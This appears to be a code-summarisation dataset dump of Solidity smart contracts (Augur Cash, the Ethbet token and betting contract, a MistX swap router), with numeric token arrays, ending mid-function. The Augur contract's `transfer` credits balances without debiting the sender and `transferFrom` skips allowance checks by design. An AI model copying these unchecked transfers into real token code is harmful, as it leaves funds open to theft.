uint256 constant public DAI_ONE = 10 ** 27;
mapping(address => uint) internal balances;
uint256 public supply;
mapping(address => mapping(address => uint256)) internal allowed;
uint8 constant public decimals = 18;
IDaiVat public daiVat;
IDaiJoin public daiJoin;
function initialize(IAugur _augur) public returns (bool) {
daiJoin = IDaiJoin(_augur.lookup("DaiJoin"));
daiVat = IDaiVat(_augur.lookup("DaiVat"));
wards[address(this)] = 1;
wards[address(daiJoin)] = 1;
return true;
}
function initializeFromPredicate(IAugur _augur) public beforeInitialized {
endInitialization();
initialize(_augur);
_augurPredicate = msg.sender;
}
function transfer(address _to, uint256 _amount) public isExecuting returns (bool) {
require(_to != address(0), "Cannot send to 0x0");
// only predicate contracts can invoke transfer. Assume they have enough cash to fulfill these transfers.
// Idea is let the user freely play out a trade on the predicate, any malicious exits / actions will later be challenged.
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public isExecuting returns (bool) {
// If _isExecuting is set, it is fine to bypass approvals
// uint256 _allowance = allowed[_from][msg.sender];
// require(_amount <= _allowance, "Not enough funds allowed");
// if (_allowance != ETERNAL_APPROVAL_VALUE) {
// allowed[_from][msg.sender] = _allowance.sub(_amount);
// }
internalTransfer(_from, _to, _amount);
return true;
}
function internalTransfer(address _from, address _to, uint256 _amount) internal returns (bool) {
require(_to != address(0), "Cannot send to 0x0");
require(balances[_from] >= _amount, "SEND Not enough funds");
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function totalSupply() public view returns (uint256) {
return supply;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
// Having isExecuting acl here, causes an issue in deployment because FillOrder.initialize() calls Cash.approve()
// Besides, I don't see an attack vector by not having this ACL here.
function approve(address _spender, uint256 _amount) public /* isExecuting */ returns (bool) {
approveInternal(msg.sender, _spender, _amount);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public isExecuting returns (bool) {
approveInternal(msg.sender, _spender, allowed[msg.sender][_spender].add(_addedValue));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public isExecuting returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
approveInternal(msg.sender, _spender, 0);
} else {
approveInternal(msg.sender, _spender, oldValue.sub(_subtractedValue));
}
return true;
}
function approveInternal(address _owner, address _spender, uint256 _allowance) internal returns (bool) {
allowed[_owner][_spender] = _allowance;
emit Approval(_owner, _spender, _allowance);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function faucet(uint256 _amount) public returns (bool) {
// not sure what daiVat is for, probably not required
// daiVat.faucet(address(daiJoin), _amount * DAI_ONE);
mint(msg.sender, _amount);
return true;
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "math-sub-underflow");
}
function joinMint(address usr, uint wad) public isExecuting returns (bool) {
return mint(usr, wad);
}
function joinBurn(address usr, uint wad) public isExecuting returns (bool) {
if (usr != msg.sender && allowed[usr][msg.sender] != uint(-1)) {
allowed[usr][msg.sender] = sub(allowed[usr][msg.sender], wad);
}
return burn(usr, wad);
}
function mint(address _target, uint256 _amount) internal returns (bool) {
balances[_target] = balances[_target].add(_amount);
supply = supply.add(_amount);
emit Mint(_target, _amount);
emit Transfer(address(0), _target, _amount);
return true;
}
function burn(address _target, uint256 _amount) internal returns (bool) {
require(balanceOf(_target) >= _amount, "BURN Not enough funds");
balances[_target] = balances[_target].sub(_amount);
supply = supply.sub(_amount);
emit Burn(_target, _amount);
return true;
}
function getTypeName() public view returns (bytes32) {
return "Cash";
}
}
| Having isExecuting acl here, causes an issue in deployment because FillOrder.initialize() calls Cash.approve() Besides, I don't see an attack vector by not having this ACL here. | function approve(address _spender, uint256 _amount) public /* isExecuting */ returns (bool) {
approveInternal(msg.sender, _spender, _amount);
return true;
}
| 15,830,701 | [
1,
29954,
353,
22134,
7895,
2674,
16,
14119,
392,
5672,
316,
6314,
2724,
14192,
2448,
18,
11160,
1435,
4097,
385,
961,
18,
12908,
537,
1435,
605,
281,
4369,
16,
467,
2727,
1404,
2621,
392,
13843,
3806,
635,
486,
7999,
333,
10098,
2674,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
6617,
537,
12,
2867,
389,
87,
1302,
264,
16,
2254,
5034,
389,
8949,
13,
1071,
1748,
353,
22134,
1195,
1135,
261,
6430,
13,
288,
203,
3639,
6617,
537,
3061,
12,
3576,
18,
15330,
16,
389,
87,
1302,
264,
16,
389,
8949,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x8d056E3B22c66d4dEDfD50B0F5cAE4661161FEE1/sources/RSSHIBA.sol | * @dev Sets the values for {name} and {symbol}. All three of these values are immutable: they can only be set once during construction./ | ) {
_name = name_;
_symbol = symbol_;
_bow = bow_;
_mint(msg.sender, 1000000000000 * 10**8);
_unshine[address(0)] = unshine_;
}
| 4,864,408 | [
1,
2785,
326,
924,
364,
288,
529,
97,
471,
288,
7175,
5496,
4826,
8925,
434,
4259,
924,
854,
11732,
30,
2898,
848,
1338,
506,
444,
3647,
4982,
16171,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
262,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
3639,
389,
70,
543,
273,
324,
543,
67,
31,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
15088,
9449,
380,
1728,
636,
28,
1769,
203,
3639,
389,
318,
674,
558,
63,
2867,
12,
20,
25887,
273,
640,
674,
558,
67,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
/**
* This is the official Ethbet Token smart contract (EBET) - https://ethbet.io/
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title EthbetToken
*/
contract EthbetToken is StandardToken {
string public constant name = "Ethbet";
string public constant symbol = "EBET";
uint8 public constant decimals = 2; // only two deciminals, token cannot be divided past 1/100th
uint256 public constant INITIAL_SUPPLY = 1000000000; // 10 million + 2 decimals
/**
* @dev Contructor that gives msg.sender all of existing tokens.
*/
function EthbetToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
// Import newer SafeMath version under new name to avoid conflict with the version included in EthbetToken
// SafeMath Library https://github.com/OpenZeppelin/zeppelin-solidity/blob/49b42e86963df7192e7024e0e5bd30fa9d7ccbef/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath2 {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ethbet {
using SafeMath2 for uint256;
/*
* Events
*/
event Deposit(address indexed user, uint amount, uint balance);
event Withdraw(address indexed user, uint amount, uint balance);
event LockedBalance(address indexed user, uint amount);
event UnlockedBalance(address indexed user, uint amount);
event ExecutedBet(address indexed winner, address indexed loser, uint amount);
event RelayAddressChanged(address relay);
/*
* Storage
*/
address public relay;
EthbetToken public token;
mapping(address => uint256) balances;
mapping(address => uint256) lockedBalances;
/*
* Modifiers
*/
modifier isRelay() {
require(msg.sender == relay);
_;
}
/*
* Public functions
*/
/**
* @dev Contract constructor
* @param _relay Relay Address
* @param _tokenAddress Ethbet Token Address
*/
function Ethbet(address _relay, address _tokenAddress) public {
// make sure relay address set
require(_relay != address(0));
relay = _relay;
token = EthbetToken(_tokenAddress);
}
/**
* @dev set relay address
* @param _relay Relay Address
*/
function setRelay(address _relay) public isRelay {
// make sure address not null
require(_relay != address(0));
relay = _relay;
RelayAddressChanged(_relay);
}
/**
* @dev deposit EBET tokens into the contract
* @param _amount Amount to deposit
*/
function deposit(uint _amount) public {
require(_amount > 0);
// token.approve needs to be called beforehand
// transfer tokens from the user to the contract
require(token.transferFrom(msg.sender, this, _amount));
// add the tokens to the user's balance
balances[msg.sender] = balances[msg.sender].add(_amount);
Deposit(msg.sender, _amount, balances[msg.sender]);
}
/**
* @dev withdraw EBET tokens from the contract
* @param _amount Amount to withdraw
*/
function withdraw(uint _amount) public {
require(_amount > 0);
require(balances[msg.sender] >= _amount);
// subtract the tokens from the user's balance
balances[msg.sender] = balances[msg.sender].sub(_amount);
// transfer tokens from the contract to the user
require(token.transfer(msg.sender, _amount));
Withdraw(msg.sender, _amount, balances[msg.sender]);
}
/**
* @dev Lock user balance to be used for bet
* @param _userAddress User Address
* @param _amount Amount to be locked
*/
function lockBalance(address _userAddress, uint _amount) public isRelay {
require(_amount > 0);
require(balances[_userAddress] >= _amount);
// subtract the tokens from the user's balance
balances[_userAddress] = balances[_userAddress].sub(_amount);
// add the tokens to the user's locked balance
lockedBalances[_userAddress] = lockedBalances[_userAddress].add(_amount);
LockedBalance(_userAddress, _amount);
}
/**
* @dev Unlock user balance
* @param _userAddress User Address
* @param _amount Amount to be locked
*/
function unlockBalance(address _userAddress, uint _amount) public isRelay {
require(_amount > 0);
require(lockedBalances[_userAddress] >= _amount);
// subtract the tokens from the user's locked balance
lockedBalances[_userAddress] = lockedBalances[_userAddress].sub(_amount);
// add the tokens to the user's balance
balances[_userAddress] = balances[_userAddress].add(_amount);
UnlockedBalance(_userAddress, _amount);
}
/**
* @dev Get user balance
* @param _userAddress User Address
*/
function balanceOf(address _userAddress) constant public returns (uint) {
return balances[_userAddress];
}
/**
* @dev Get user locked balance
* @param _userAddress User Address
*/
function lockedBalanceOf(address _userAddress) constant public returns (uint) {
return lockedBalances[_userAddress];
}
/**
* @dev Execute bet
* @param _maker Maker Address
* @param _caller Caller Address
* @param _makerWon Did the maker win
* @param _amount amount
*/
function executeBet(address _maker, address _caller, bool _makerWon, uint _amount) isRelay public {
//The caller must have enough locked balance
require(lockedBalances[_caller] >= _amount);
//The maker must have enough locked balance
require(lockedBalances[_maker] >= _amount);
// unlock maker balance
unlockBalance(_caller, _amount);
// unlock maker balance
unlockBalance(_maker, _amount);
var winner = _makerWon ? _maker : _caller;
var loser = _makerWon ? _caller : _maker;
// add the tokens to the winner's balance
balances[winner] = balances[winner].add(_amount);
// remove the tokens from the loser's balance
balances[loser] = balances[loser].sub(_amount);
//Log the event
ExecutedBet(winner, loser, _amount);
}
} | * @dev deposit EBET tokens into the contract @param _amount Amount to deposit/ token.approve needs to be called beforehand transfer tokens from the user to the contract add the tokens to the user's balance | function deposit(uint _amount) public {
require(_amount > 0);
require(token.transferFrom(msg.sender, this, _amount));
balances[msg.sender] = balances[msg.sender].add(_amount);
Deposit(msg.sender, _amount, balances[msg.sender]);
}
| 10,106,769 | [
1,
323,
1724,
512,
38,
1584,
2430,
1368,
326,
6835,
225,
389,
8949,
16811,
358,
443,
1724,
19,
1147,
18,
12908,
537,
4260,
358,
506,
2566,
1865,
2349,
7412,
2430,
628,
326,
729,
358,
326,
6835,
527,
326,
2430,
358,
326,
729,
1807,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
443,
1724,
12,
11890,
389,
8949,
13,
1071,
288,
203,
565,
2583,
24899,
8949,
405,
374,
1769,
203,
203,
565,
2583,
12,
2316,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
333,
16,
389,
8949,
10019,
203,
203,
565,
324,
26488,
63,
3576,
18,
15330,
65,
273,
324,
26488,
63,
3576,
18,
15330,
8009,
1289,
24899,
8949,
1769,
203,
203,
565,
4019,
538,
305,
12,
3576,
18,
15330,
16,
389,
8949,
16,
324,
26488,
63,
3576,
18,
15330,
19226,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
import './interfaces/IERC20.sol';
import './interfaces/IMistXJar.sol';
import './interfaces/IUniswap.sol';
import './libraries/SafeERC20.sol';
/// @author Nathan Worsley (https://github.com/CodeForcer)
/// @title MistX Gasless Router
contract MistXRouter {
/***********************
+ Global Settings +
***********************/
using SafeERC20 for IERC20;
IMistXJar MistXJar;
address public owner;
mapping (address => bool) public managers;
receive() external payable {}
fallback() external payable {}
/***********************
+ Structures +
***********************/
struct Swap {
uint256 amount0;
uint256 amount1;
address[] path;
address to;
uint256 deadline;
}
/***********************
+ Swap wrappers +
***********************/
function swapExactETHForTokens(
Swap calldata _swap,
IUniswapRouter _router,
uint256 _bribe
) external payable {
MistXJar.deposit{value: _bribe}();
_router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value - _bribe}(
_swap.amount1,
_swap.path,
_swap.to,
_swap.deadline
);
}
function swapETHForExactTokens(
Swap calldata _swap,
IUniswapRouter _router,
uint256 _bribe
) external payable {
MistXJar.deposit{value: _bribe}();
_router.swapETHForExactTokens{value: msg.value - _bribe}(
_swap.amount1,
_swap.path,
_swap.to,
_swap.deadline
);
// Refunded ETH needs to be swept from router to user address
(bool success, ) = payable(_swap.to).call{value: address(this).balance}("");
require(success);
}
function swapExactTokensForTokens(
Swap calldata _swap,
IUniswapRouter _router,
uint256 _bribe
) external payable {
MistXJar.deposit{value: _bribe}();
IERC20 from = IERC20(_swap.path[0]);
from.safeTransferFrom(msg.sender, address(this), _swap.amount0);
from.safeIncreaseAllowance(address(_router), _swap.amount0);
_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
_swap.amount0,
_swap.amount1,
_swap.path,
_swap.to,
_swap.deadline
);
}
function swapTokensForExactTokens(
Swap calldata _swap,
IUniswapRouter _router,
uint256 _bribe
) external payable {
MistXJar.deposit{value: _bribe}();
IERC20 from = IERC20(_swap.path[0]);
from.safeTransferFrom(msg.sender, address(this), _swap.amount1);
from.safeIncreaseAllowance(address(_router), _swap.amount1);
_router.swapTokensForExactTokens(
_swap.amount0,
_swap.amount1,
_swap.path,
_swap.to,
_swap.deadline
);
from.safeTransfer(msg.sender, from.balanceOf(address(this)));
}
function swapTokensForExactETH(
Swap calldata _swap,
IUniswapRouter _router,
uint256 _bribe
) external payable {
IERC20 from = IERC20(_swap.path[0]);
from.safeTransferFrom(msg.sender, address(this), _swap.amount1);
from.safeIncreaseAllowance(address(_router), _swap.amount1);
_router.swapTokensForExactETH(
_swap.amount0,
_swap.amount1,
_swap.path,
address(this),
_swap.deadline
);
MistXJar.deposit{value: _bribe}();
// ETH after bribe must be swept to _to
(bool success, ) = payable(_swap.to).call{value: address(this).balance}("");
require(success);
// Left-over from tokens must be swept to _to
from.safeTransfer(msg.sender, from.balanceOf(address(this)));
}
function swapExactTokensForETH(
Swap calldata _swap,
IUniswapRouter _router,
uint256 _bribe
) external payable {
IERC20 from = IERC20(_swap.path[0]);
from.safeTransferFrom(msg.sender, address(this), _swap.amount0);
from.safeIncreaseAllowance(address(_router), _swap.amount0);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_swap.amount0,
_swap.amount1,
_swap.path,
address(this),
_swap.deadline
);
MistXJar.deposit{value: _bribe}();
// ETH after bribe must be swept to _to
(bool success, ) = payable(_swap.to).call{value: address(this).balance}("");
require(success);
}
/***********************
+ Administration +
***********************/
event OwnershipChanged(
address indexed oldOwner,
address indexed newOwner
);
constructor(
address _mistJar
) {
MistXJar = IMistXJar(_mistJar);
owner = msg.sender;
managers[msg.sender] = true;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only the owner can call this");
_;
}
modifier onlyManager() {
require(managers[msg.sender] == true, "Only managers can call this");
_;
}
function addManager(
address _manager
) external onlyOwner {
managers[_manager] = true;
}
function removeManager(
address _manager
) external onlyOwner {
managers[_manager] = false;
}
function changeJar(
address _mistJar
) public onlyManager {
MistXJar = IMistXJar(_mistJar);
}
function changeOwner(
address _owner
) public onlyOwner {
emit OwnershipChanged(owner, _owner);
owner = _owner;
}
function rescueStuckETH(
uint256 _amount,
address _to
) external onlyManager {
payable(_to).transfer(_amount);
}
function rescueStuckToken(
